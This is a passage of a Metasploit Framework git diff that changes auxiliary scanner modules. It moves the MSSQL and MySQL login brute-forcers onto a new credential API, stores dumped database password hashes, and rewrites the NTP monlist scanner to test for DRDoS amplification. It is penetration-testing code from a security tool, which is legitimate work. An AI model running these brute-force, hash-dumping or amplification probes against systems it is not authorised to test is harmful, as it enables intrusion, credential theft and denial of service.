create_credential(credential_data) + + login_data = { + core: credential_core, + status: Metasploit::Model::Login::Status::UNTRIED + } + + login_data.merge!(service_data) + login = create_credential_login(login_data) + tbl << [row[0], row[1]] print_good("#{rhost}:#{rport} - Saving #{hashtype} = #{row[0]}:#{row[1]}") end - filename= "#{datastore['RHOST']}-#{datastore['RPORT']}_sqlhashes.txt" - store_loot(hashtype, "text/plain", datastore['RHOST'], tbl.to_csv, filename, "MS SQL Hashes", this_service) end #Grabs the user tables depending on what Version of MSSQL @@ -99,7 +168,7 @@ class Metasploit3 < Msf::Auxiliary when "2000" results = mssql_query(mssql_2k_password_hashes())[:rows] - when "2005", "2008" + when "2005", "2008", "2012", "2014" results = mssql_query(mssql_2k5_password_hashes())[:rows] end diff --git a/modules/auxiliary/scanner/mssql/mssql_login.rb b/modules/auxiliary/scanner/mssql/mssql_login.rb index 93c62447fc..b29f8eb7e0 100644 --- a/modules/auxiliary/scanner/mssql/mssql_login.rb +++ b/modules/auxiliary/scanner/mssql/mssql_login.rb @@ -1,11 +1,12 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' - +require 'metasploit/framework/credential_collection' +require 'metasploit/framework/login_scanner/mssql' class Metasploit3 < Msf::Auxiliary @@ -30,44 +31,52 @@ class Metasploit3 < Msf::Auxiliary def run_host(ip) print_status("#{rhost}:#{rport} - MSSQL - Starting authentication scanner.") - each_user_pass { |user, pass| - do_login(user, pass, datastore['VERBOSE']) - } - # The service should already be reported at this point courtesy of - # report_auth_info, but this is currently the only way to give it a - # name. - report_service({ - :host => rhost, - :port => rport, - :proto => 'tcp', - :name => 'mssql' - }) - end - def do_login(user='sa', pass='', verbose=false) - vprint_status("#{rhost}:#{rport} - MSSQL - Trying username:'#{user}' with password:'#{pass}'") - begin - success = mssql_login(user, pass) + cred_collection = Metasploit::Framework::CredentialCollection.new( + blank_passwords: datastore['BLANK_PASSWORDS'], + pass_file: datastore['PASS_FILE'], + password: datastore['PASSWORD'], + user_file: datastore['USER_FILE'], + userpass_file: datastore['USERPASS_FILE'], + username: datastore['USERNAME'], + user_as_pass: datastore['USER_AS_PASS'], + realm: datastore['DOMAIN'] + ) - if (success) - print_good("#{rhost}:#{rport} - MSSQL - successful login '#{user}' : '#{pass}'") - report_auth_info( - :host => rhost, - :port => rport, - :sname => 'mssql', - :user => user.downcase, - :pass => pass, - :source_type => "user_supplied", - :active => true - ) - return :next_user + cred_collection = prepend_db_passwords(cred_collection) + + scanner = Metasploit::Framework::LoginScanner::MSSQL.new( + host: ip, + port: rport, + proxies: datastore['PROXIES'], + cred_details: cred_collection, + stop_on_success: datastore['STOP_ON_SUCCESS'], + bruteforce_speed: datastore['BRUTEFORCE_SPEED'], + connection_timeout: 30, + max_send_size: datastore['TCP::max_send_size'], + send_delay: datastore['TCP::send_delay'], + windows_authentication: datastore['USE_WINDOWS_AUTHENT'], + framework: framework, + framework_module: self, + ) + + scanner.scan! do |result| + credential_data = result.to_h + credential_data.merge!( + module_fullname: self.fullname, + workspace_id: myworkspace_id + ) + if result.success? + credential_core = create_credential(credential_data) + credential_data[:core] = credential_core + create_credential_login(credential_data) + + print_good "#{ip}:#{rport} - LOGIN SUCCESSFUL: #{result.credential}" else - vprint_error("#{rhost}:#{rport} failed to login as '#{user}'") - return + invalidate_login(credential_data) + vprint_error "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})" end - rescue ::Rex::ConnectionError - vprint_error("#{rhost}:#{rport} connection failed") - return :abort end end + end diff --git a/modules/auxiliary/scanner/mssql/mssql_ping.rb b/modules/auxiliary/scanner/mssql/mssql_ping.rb index 41e0dbf7b4..12078e523a 100644 --- a/modules/auxiliary/scanner/mssql/mssql_ping.rb +++ b/modules/auxiliary/scanner/mssql/mssql_ping.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/mssql/mssql_schemadump.rb b/modules/auxiliary/scanner/mssql/mssql_schemadump.rb index 810c6d699e..2aaf4cb469 100644 --- a/modules/auxiliary/scanner/mssql/mssql_schemadump.rb +++ b/modules/auxiliary/scanner/mssql/mssql_schemadump.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/mysql/mysql_authbypass_hashdump.rb b/modules/auxiliary/scanner/mysql/mysql_authbypass_hashdump.rb index b5d7281081..76d0388728 100644 --- a/modules/auxiliary/scanner/mysql/mysql_authbypass_hashdump.rb +++ b/modules/auxiliary/scanner/mysql/mysql_authbypass_hashdump.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/mysql/mysql_file_enum.rb b/modules/auxiliary/scanner/mysql/mysql_file_enum.rb index 8d434d6892..b8736a0231 100644 --- a/modules/auxiliary/scanner/mysql/mysql_file_enum.rb +++ b/modules/auxiliary/scanner/mysql/mysql_file_enum.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/mysql/mysql_hashdump.rb b/modules/auxiliary/scanner/mysql/mysql_hashdump.rb index e249db4ff0..ce7c378756 100644 --- a/modules/auxiliary/scanner/mysql/mysql_hashdump.rb +++ b/modules/auxiliary/scanner/mysql/mysql_hashdump.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -30,6 +30,35 @@ class Metasploit3 < Msf::Auxiliary return end + service_data = { + address: ip, + port: rport, + service_name: 'mysql', + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + module_fullname: self.fullname, + origin_type: :service, + private_data: datastore['PASSWORD'], + private_type: :password, + username: datastore['USERNAME'] + } + + credential_data.merge!(service_data) + + credential_core = create_credential(credential_data) + + login_data = { + core: credential_core, + last_attempted_at: DateTime.now, + status: Metasploit::Model::Login::Status::SUCCESSFUL + } + login_data.merge!(service_data) + + create_credential_login(login_data) + #Grabs the username and password hashes and stores them as loot res = mysql_query("SELECT user,password from mysql.user") if res.nil? @@ -37,41 +66,41 @@ class Metasploit3 < Msf::Auxiliary return end - this_service = report_service( - :host => datastore['RHOST'], - :port => datastore['RPORT'], - :name => 'mysql', - :proto => 'tcp' - ) + service_data = { + address: ::Rex::Socket.getaddress(rhost,true), + port: rport, + service_name: 'mysql', + protocol: 'tcp', + workspace_id: myworkspace_id + } + credential_data = { + origin_type: :service, + jtr_format: 'mysql,mysql-sha1', + module_fullname: self.fullname, + private_type: :nonreplayable_hash + } - #create a table to store data - tbl = Rex::Ui::Text::Table.new( - 'Header' => 'MysQL Server Hashes', - 'Indent' => 1, - 'Columns' => ['Username', 'Hash'] - ) + credential_data.merge!(service_data) if res.size > 0 res.each do |row| - tbl << [row[0], row[1]] + credential_data[:username] = row[0] + credential_data[:private_data] = row[1] print_good("Saving HashString as Loot: #{row[0]}:#{row[1]}") + credential_core = create_credential(credential_data) + login_data = { + core: credential_core, + status: Metasploit::Model::Login::Status::UNTRIED + } + login_data.merge!(service_data) + create_credential_login(login_data) end end - report_hashes(tbl.to_csv, this_service) unless tbl.rows.empty? - - end - #Stores the Hash Table as Loot for Later Cracking - def report_hashes(hash_loot,service) - filename= "#{datastore['RHOST']}-#{datastore['RPORT']}_mysqlhashes.txt" - path = store_loot("mysql.hashes", "text/plain", datastore['RHOST'], hash_loot, filename, "MySQL Hashes",service) - print_status("Hash Table has been saved: #{path}") - - end end diff --git a/modules/auxiliary/scanner/mysql/mysql_login.rb b/modules/auxiliary/scanner/mysql/mysql_login.rb index b034b1d00a..83cc06d7f3 100644 --- a/modules/auxiliary/scanner/mysql/mysql_login.rb +++ b/modules/auxiliary/scanner/mysql/mysql_login.rb @@ -1,11 +1,12 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' - +require 'metasploit/framework/credential_collection' +require 'metasploit/framework/login_scanner/mysql' class Metasploit3 < Msf::Auxiliary @@ -26,6 +27,11 @@ class Metasploit3 < Msf::Auxiliary [ 'CVE', '1999-0502'] # Weak password ] )) + + register_options( + [ + Opt::Proxies + ], self.class) end def target @@ -36,14 +42,55 @@ class Metasploit3 < Msf::Auxiliary def run_host(ip) begin if mysql_version_check("4.1.1") # Pushing down to 4.1.1. - each_user_pass { |user, pass| - do_login(user, pass) - } + cred_collection = Metasploit::Framework::CredentialCollection.new( + blank_passwords: datastore['BLANK_PASSWORDS'], + pass_file: datastore['PASS_FILE'], + password: datastore['PASSWORD'], + user_file: datastore['USER_FILE'], + userpass_file: datastore['USERPASS_FILE'], + username: datastore['USERNAME'], + user_as_pass: datastore['USER_AS_PASS'], + ) + + cred_collection = prepend_db_passwords(cred_collection) + + scanner = Metasploit::Framework::LoginScanner::MySQL.new( + host: ip, + port: rport, + proxies: datastore['PROXIES'], + cred_details: cred_collection, + stop_on_success: datastore['STOP_ON_SUCCESS'], + bruteforce_speed: datastore['BRUTEFORCE_SPEED'], + connection_timeout: 30, + max_send_size: datastore['TCP::max_send_size'], + send_delay: datastore['TCP::send_delay'], + framework: framework, + framework_module: self, + ) + + scanner.scan! do |result| + credential_data = result.to_h + credential_data.merge!( + module_fullname: self.fullname, + workspace_id: myworkspace_id + ) + if result.success? + credential_core = create_credential(credential_data) + credential_data[:core] = credential_core + create_credential_login(credential_data) + + print_brute :level => :good, :ip => ip, :msg => "Success: '#{result.credential}'" + else + invalidate_login(credential_data) + vprint_error "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})" + end + end + else - print_error "#{target} - Unsupported target version of MySQL detected. Skipping." + vprint_error "#{target} - Unsupported target version of MySQL detected. Skipping." end rescue ::Rex::ConnectionError, ::EOFError => e - print_error "#{target} - Unable to connect: #{e.to_s}" + vprint_error "#{target} - Unable to connect: #{e.to_s}" end end @@ -98,36 +145,6 @@ class Metasploit3 < Msf::Auxiliary end end - def do_login(user='', pass='') - vprint_status("#{rhost}:#{rport} Trying username:'#{user}' with password:'#{pass}'") - begin - m = mysql_login(user, pass) - return :fail if not m - - print_good("#{rhost}:#{rport} - SUCCESSFUL LOGIN '#{user}' : '#{pass}'") - report_auth_info( - :host => rhost, - :port => rport, - :sname => 'mysql', - :user => user, - :pass => pass, - :source_type => "user_supplied", - :active => true - ) - return :next_user - - rescue ::RbMysql::Error => e - vprint_error("#{rhost}:#{rport} failed to login: #{e.class} #{e}") - return :error - - rescue ::Interrupt - raise $! - - rescue ::Rex::ConnectionError - return :abort - - end - end end diff --git a/modules/auxiliary/scanner/mysql/mysql_schemadump.rb b/modules/auxiliary/scanner/mysql/mysql_schemadump.rb index b9cb45576b..6961010695 100644 --- a/modules/auxiliary/scanner/mysql/mysql_schemadump.rb +++ b/modules/auxiliary/scanner/mysql/mysql_schemadump.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/mysql/mysql_version.rb b/modules/auxiliary/scanner/mysql/mysql_version.rb index d042e996d5..bde7d5c2b7 100644 --- a/modules/auxiliary/scanner/mysql/mysql_version.rb +++ b/modules/auxiliary/scanner/mysql/mysql_version.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/natpmp/natpmp_portscan.rb b/modules/auxiliary/scanner/natpmp/natpmp_portscan.rb index b472ed1538..c0c63c3e73 100644 --- a/modules/auxiliary/scanner/natpmp/natpmp_portscan.rb +++ b/modules/auxiliary/scanner/natpmp/natpmp_portscan.rb @@ -1,16 +1,17 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' -require 'rex/proto/natpmp' class Metasploit3 < Msf::Auxiliary include Msf::Auxiliary::Report include Msf::Auxiliary::Scanner + include Msf::Auxiliary::NATPMP + include Rex::Proto::NATPMP def initialize super( @@ -22,10 +23,7 @@ class Metasploit3 < Msf::Auxiliary register_options( [ - Opt::RPORT(Rex::Proto::NATPMP::DefaultPort), - OptString.new('PORTS', [true, "Ports to scan (e.g. 22-25,80,110-900)", "1-1000"]), - OptEnum.new('PROTOCOL', [true, "Protocol to scan", 'TCP', %w(TCP UDP)]), - Opt::CHOST + OptString.new('PORTS', [true, "Ports to scan (e.g. 22-25,80,110-900)", "1-1000"]) ], self.class) end @@ -36,34 +34,25 @@ class Metasploit3 < Msf::Auxiliary 'Context' => {'Msf' => framework, 'MsfExploit' => self} } ) add_socket(udp_sock) - vprint_status "Scanning #{datastore['PROTOCOL']} ports #{datastore['PORTS']} on #{host} using NATPMP" - - # first, send a request to get the external address - udp_sock.sendto(Rex::Proto::NATPMP.external_address_request, host, datastore['RPORT'].to_i, 0) - external_address = nil - while (r = udp_sock.recvfrom(12, 0.25) and r[1]) - (ver,op,result,epoch,external_address) = Rex::Proto::NATPMP.parse_external_address_response(r[0]) - end + peer = "#{host}:#{datastore['RPORT']}" + vprint_status("#{peer} Scanning #{protocol} ports #{datastore['PORTS']} using NATPMP") + external_address = get_external_address(udp_sock, host, datastore['RPORT']) if (external_address) - print_good("External address of #{host} is #{external_address}") + print_good("#{peer} responded with external address of #{external_address}") else - print_error("Didn't get a response for #{host}'s external address") + vprint_status("#{peer} didn't respond with an external address") return end - Rex::Socket.portspec_crack(datastore['PORTS']).each do |port| - # send one request to clear the mapping if *we've* created it before - clear_req = Rex::Proto::NATPMP.map_port_request(port, port, Rex::Proto::NATPMP.const_get(datastore['PROTOCOL']), 0) - udp_sock.sendto(clear_req, host, datastore['RPORT'].to_i, 0) - while (r = udp_sock.recvfrom(16, 1.0) and r[1]) - end + # clear all mappings + map_port(udp_sock, host, datastore['RPORT'], 0, 0, Rex::Proto::NATPMP.const_get(protocol), 0) - # now try the real mapping - map_req = Rex::Proto::NATPMP.map_port_request(port, port, Rex::Proto::NATPMP.const_get(datastore['PROTOCOL']), 1) - udp_sock.sendto(map_req, host, datastore['RPORT'].to_i, 0) + Rex::Socket.portspec_crack(datastore['PORTS']).each do |port| + map_req = map_port_request(port, port, Rex::Proto::NATPMP.const_get(datastore['PROTOCOL']), 1) + udp_sock.sendto(map_req, host, datastore['RPORT'], 0) while (r = udp_sock.recvfrom(16, 1.0) and r[1]) - handle_reply(host, external_address, r) + break if handle_reply(host, external_address, r) end end @@ -85,30 +74,30 @@ class Metasploit3 < Msf::Auxiliary host = pkt[1] protocol = datastore['PROTOCOL'].to_s.downcase - (ver, op, result, epoch, int, ext, lifetime) = Rex::Proto::NATPMP.parse_map_port_response(pkt[0]) + (ver, op, result, epoch, int, ext, lifetime) = parse_map_port_response(pkt[0]) + peer = "#{host}:#{datastore['RPORT']}" if (result == 0) # we always ask to map an external port to the same port on us. If # we get a successful reponse back but the port we requested be forwarded # is different, that means that someone else already has it open if (int != ext) state = Msf::ServiceState::Open - print_status("#{external_addr} - #{int}/#{protocol} #{state} because of successful mapping with unmatched ports") + print_good("#{peer} #{external_addr} - #{int}/#{protocol} #{state} because of successful mapping with unmatched ports") + if inside_workspace_boundary?(external_addr) + report_service( + :host => external_addr, + :port => int, + :proto => protocol, + :state => state + ) + end else state = Msf::ServiceState::Closed - print_status("#{external_addr} - #{int}/#{protocol} #{state} because of successful mapping with matched ports") if (datastore['DEBUG']) + print_status("#{peer} #{external_addr} - #{int}/#{protocol} #{state} because of successful mapping with matched ports") if (datastore['DEBUG']) end else state = Msf::ServiceState::Closed - print_status("#{external_addr} - #{int}/#{protocol} #{state} because of code #{result} response") if (datastore['DEBUG']) - end - - if inside_workspace_boundary?(external_addr) - report_service( - :host => external_addr, - :port => int, - :proto => protocol, - :state => state - ) + print_status("#{peer} #{external_addr} - #{int}/#{protocol} #{state} because of code #{result} response") if (datastore['DEBUG']) end report_service( @@ -118,5 +107,6 @@ class Metasploit3 < Msf::Auxiliary :proto => 'udp', :state => Msf::ServiceState::Open ) + true end end diff --git a/modules/auxiliary/scanner/nessus/nessus_ntp_login.rb b/modules/auxiliary/scanner/nessus/nessus_ntp_login.rb index 1efd3e4285..bfa7617f28 100644 --- a/modules/auxiliary/scanner/nessus/nessus_ntp_login.rb +++ b/modules/auxiliary/scanner/nessus/nessus_ntp_login.rb @@ -2,7 +2,7 @@ # nessus_ntp_login.rb ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/nessus/nessus_xmlrpc_login.rb b/modules/auxiliary/scanner/nessus/nessus_xmlrpc_login.rb index 51c568b5d5..018fa7ce17 100644 --- a/modules/auxiliary/scanner/nessus/nessus_xmlrpc_login.rb +++ b/modules/auxiliary/scanner/nessus/nessus_xmlrpc_login.rb @@ -3,7 +3,7 @@ ## ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/nessus/nessus_xmlrpc_ping.rb b/modules/auxiliary/scanner/nessus/nessus_xmlrpc_ping.rb index 4e3d30f283..02a80974d7 100644 --- a/modules/auxiliary/scanner/nessus/nessus_xmlrpc_ping.rb +++ b/modules/auxiliary/scanner/nessus/nessus_xmlrpc_ping.rb @@ -3,7 +3,7 @@ ## ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -66,7 +66,7 @@ class Metasploit3 < Msf::Auxiliary :port => datastore['RPORT'], :name => "nessus-xmlrpc", :info => 'Nessus XMLRPC', - :state => 'UP' + :state => 'open' ) else vprint_error("Wrong HTTP Server header: #{res.headers['Server'] || ''}") diff --git a/modules/auxiliary/scanner/netbios/nbname.rb b/modules/auxiliary/scanner/netbios/nbname.rb index 04c36e60da..64b9befe91 100644 --- a/modules/auxiliary/scanner/netbios/nbname.rb +++ b/modules/auxiliary/scanner/netbios/nbname.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/netbios/nbname_probe.rb b/modules/auxiliary/scanner/netbios/nbname_probe.rb index 5c1d40aa07..fe990c8685 100644 --- a/modules/auxiliary/scanner/netbios/nbname_probe.rb +++ b/modules/auxiliary/scanner/netbios/nbname_probe.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/nexpose/nexpose_api_login.rb b/modules/auxiliary/scanner/nexpose/nexpose_api_login.rb index 8d66576e0d..1401bd5095 100644 --- a/modules/auxiliary/scanner/nexpose/nexpose_api_login.rb +++ b/modules/auxiliary/scanner/nexpose/nexpose_api_login.rb @@ -3,7 +3,7 @@ ## ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/nfs/nfsmount.rb b/modules/auxiliary/scanner/nfs/nfsmount.rb index e8bfcd059e..c1c1576037 100644 --- a/modules/auxiliary/scanner/nfs/nfsmount.rb +++ b/modules/auxiliary/scanner/nfs/nfsmount.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -76,11 +76,12 @@ class Metasploit3 < Msf::Auxiliary :update => :unique_data ) elsif(exports == 0x00) - print_status("#{ip} - No exported directories") + vprint_status("#{ip} - No exported directories") end sunrpc_destroy - rescue ::Rex::Proto::SunRPC::RPCTimeout + rescue ::Rex::Proto::SunRPC::RPCTimeout, ::Rex::Proto::SunRPC::RPCError => e + vprint_error(e.to_s) end end diff --git a/modules/auxiliary/scanner/ntp/ntp_monlist.rb b/modules/auxiliary/scanner/ntp/ntp_monlist.rb index f03a77a518..448edb35aa 100644 --- a/modules/auxiliary/scanner/ntp/ntp_monlist.rb +++ b/modules/auxiliary/scanner/ntp/ntp_monlist.rb @@ -1,182 +1,167 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## - require 'msf/core' - class Metasploit3 < Msf::Auxiliary include Msf::Auxiliary::Report - include Msf::Auxiliary::Scanner + include Msf::Exploit::Remote::Udp + include Msf::Auxiliary::UDPScanner + include Msf::Auxiliary::NTP + include Msf::Auxiliary::DRDoS def initialize super( 'Name' => 'NTP Monitor List Scanner', - 'Description' => 'Obtain the list of recent clients from an NTP server', + 'Description' => %q{ + This module identifies NTP servers which permit "monlist" queries and + obtains the recent clients list. The monlist feature allows remote + attackers to cause a denial of service (traffic amplification) + via spoofed requests. The more clients there are in the list, the + greater the amplification. + }, + 'References' => + [ + ['CVE', '2013-5211'], + ['URL', 'https://www.us-cert.gov/ncas/alerts/TA14-013A'], + ['URL', 'http://support.ntp.org/bin/view/Main/SecurityNotice'], + ['URL', 'http://nmap.org/nsedoc/scripts/ntp-monlist.html'], + ], 'Author' => 'hdm', 'License' => MSF_LICENSE ) register_options( [ - Opt::RPORT(123), - Opt::CHOST, - OptInt.new('BATCHSIZE', [true, 'The number of hosts to probe in each set', 256]) + OptInt.new('RETRY', [false, "Number of tries to query the NTP server", 3]), + OptBool.new('SHOW_LIST', [false, 'Show the recent clients list', 'false']) ], self.class) - register_advanced_options( [ OptBool.new('StoreNTPClients', [true, 'Store NTP clients as host records in the database', 'false']) ], self.class) end - - # Define our batch size - def run_batch_size - datastore['BATCHSIZE'].to_i +# Called for each response packet + def scanner_process(data, shost, sport) + @results[shost] ||= { messages: [], peers: [] } + @results[shost][:messages] << Rex::Proto::NTP::NTPPrivate.new(data) + @results[shost][:peers] << extract_peer_tuples(data) end - # Fingerprint a single host - def run_batch(batch) - + # Called before the scan block + def scanner_prescan(batch) @results = {} @aliases = {} + @probe = Rex::Proto::NTP.ntp_private(datastore['VERSION'], datastore['IMPLEMENTATION'], 42) + end - print_status("Sending probes to #{batch[0]}->#{batch[-1]} (#{batch.length} hosts)") - - begin - udp_sock = nil - idx = 0 - - # Create an unbound UDP socket if no CHOST is specified, otherwise - # create a UDP socket bound to CHOST (in order to avail of pivoting) - udp_sock = Rex::Socket::Udp.create( { 'LocalHost' => datastore['CHOST'] || nil, 'Context' => {'Msf' => framework, 'MsfExploit' => self} }) - add_socket(udp_sock) - - # Try three times since NTP servers can be a bit busy - 1.upto(3) do - batch.each do |ip| - next if @results[ip] - - begin - data = probe_pkt_ntp(ip) - udp_sock.sendto(data, ip, datastore['RPORT'].to_i, 0) - rescue ::Interrupt - raise $! - rescue ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionRefused - nil - end - - if (idx % 30 == 0) - while (r = udp_sock.recvfrom(65535, 0.1) and r[1]) - parse_reply(r) - end - end - - idx += 1 - end - end - - while (r = udp_sock.recvfrom(65535, 10) and r[1]) - parse_reply(r) - end - - rescue ::Interrupt - raise $! - rescue ::Exception => e - print_error("Unknown error: #{e.class} #{e}") - end - + # Called after the scan block + def scanner_postscan(batch) @results.keys.each do |k| + response_map = { @probe => @results[k][:messages] } + peer = "#{k}:#{rport}" + # TODO: check to see if any of the responses are actually NTP before reporting report_service( :host => k, :proto => 'udp', - :port => datastore['RPORT'].to_i, + :port => rport, :name => 'ntp' ) - report_note( - :host => k, - :proto => 'udp', - :port => datastore['RPORT'].to_i, - :type => 'ntp.monlist', - :data => {:monlist => @results[k]} - ) - - if (@aliases[k] and @aliases[k].keys[0] != k) + peers = @results[k][:peers].flatten(1) + unless peers.empty? + print_good("#{peer} NTP monlist request permitted (#{peers.length} entries)") + # store the peers found from the monlist report_note( :host => k, :proto => 'udp', - :port => datastore['RPORT'].to_i, - :type => 'ntp.addresses', - :data => {:addresses => @aliases[k].keys} + :port => rport, + :type => 'ntp.monlist', + :data => {:monlist => peers} + ) + # print out peers if desired + if datastore['SHOW_LIST'] + peers.each do |ntp_peer| + print_status("#{peer} #{ntp_peer}") + end + end + # store any aliases for our target + report_note( + :host => k, + :proto => 'udp', + :port => rport, + :type => 'ntp.addresses', + :data => {:addresses => peers.map { |p| p.last }.sort.uniq } ) - end - if (datastore['StoreNTPClients']) - print_status("#{k} Storing #{@results[k].length} NTP client hosts in the database...") - @results[k].each do |r| - maddr,mport,mserv = r - report_note(:host => maddr, :type => 'ntp.client.history', :data => {:address => maddr, :port => mport, :server => mserv}) + if (datastore['StoreNTPClients']) + print_status("#{peer} Storing #{peers.length} NTP client hosts in the database...") + peers.each do |r| + maddr,mport,mserv = r + next if maddr == '127.0.0.1' # some NTP servers peer with themselves..., but we can't store loopback + report_note( + :host => maddr, + :type => 'ntp.client.history', + :data => { + :address => maddr, + :port => mport, + :server => mserv + } + ) + end end end + + vulnerable, proof = prove_amplification(response_map) + what = 'NTP Mode 7 monlist DRDoS (CVE-2013-5211)' + if vulnerable + print_good("#{peer} - Vulnerable to #{what}: #{proof}") + report_vuln({ + :host => k, + :port => rport, + :proto => 'udp', + :name => what, + :refs => self.references + }) + else + vprint_status("#{peer} - Not vulnerable to #{what}: #{proof}") + end end end - def parse_reply(pkt) + # Examine the monlist reponse +data+ and extract all peer tuples (saddd, dport, daddr) + def extract_peer_tuples(data) + return [] if data.length < 76 - # Ignore "empty" packets - return if not pkt[1] - - if(pkt[1] =~ /^::ffff:/) - pkt[1] = pkt[1].sub(/^::ffff:/, '') - end - - data = pkt[0] - host = pkt[1] - port = pkt[2] - - return if pkt[0].length < (72 + 16) + # NTP headers 8 bytes ntp_flags, ntp_auth, ntp_vers, ntp_code = data.slice!(0,4).unpack('C*') - pcnt, plen, hlen, tmp = data.slice!(0,12).unpack('nnNN') - return if plen != 72 + pcnt, plen = data.slice!(0,4).unpack('nn') + return [] if plen != 72 idx = 0 + peer_tuples = [] 1.upto(pcnt) do - tmp1,mcnt,madd,sadd,tmp3,tmp4,mport = data[idx, plen].unpack("NNNNn3") - @results[host] ||= [] - @aliases[host] ||= {} - @results[host] << [ Rex::Socket.addr_itoa(madd), mport, Rex::Socket.addr_itoa(sadd) ] - @aliases[host][Rex::Socket.addr_itoa(sadd)] = true - print_status("#{host}:#{port} #{Rex::Socket.addr_itoa(madd)}:#{mport} (#{Rex::Socket.addr_itoa(sadd)})") + #u_int32 firsttime; /* first time we received a packet */ + #u_int32 lasttime; /* last packet from this host */ + #u_int32 restr; /* restrict bits (was named lastdrop) */ + #u_int32 count; /* count of packets received */ + #u_int32 addr; /* host address V4 style */ + #u_int32 daddr; /* destination host address */ + #u_int32 flags; /* flags about destination */ + #u_short port; /* port number of last reception */ + + _,_,_,_,saddr,daddr,_,dport = data[idx, 30].unpack("NNNNNNNn") + + peer_tuples << [ Rex::Socket.addr_itoa(saddr), dport, Rex::Socket.addr_itoa(daddr) ] idx += plen end + peer_tuples end - - - def probe_pkt_ntp(ip) - data = - "\x17\x00\x03\x2a\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + - "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + - "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + - "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + - "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + - "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + - "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + - "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + - "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + - "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + - "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + - "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + - "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + - "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" - return data - end - end diff --git a/modules/auxiliary/scanner/ntp/ntp_peer_list_dos.rb b/modules/auxiliary/scanner/ntp/ntp_peer_list_dos.rb new file mode 100644 index 0000000000..c2d7653db8 --- /dev/null +++ b/modules/auxiliary/scanner/ntp/ntp_peer_list_dos.rb @@ -0,0 +1,78 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Auxiliary::Report + include Msf::Exploit::Remote::Udp + include Msf::Auxiliary::UDPScanner + include 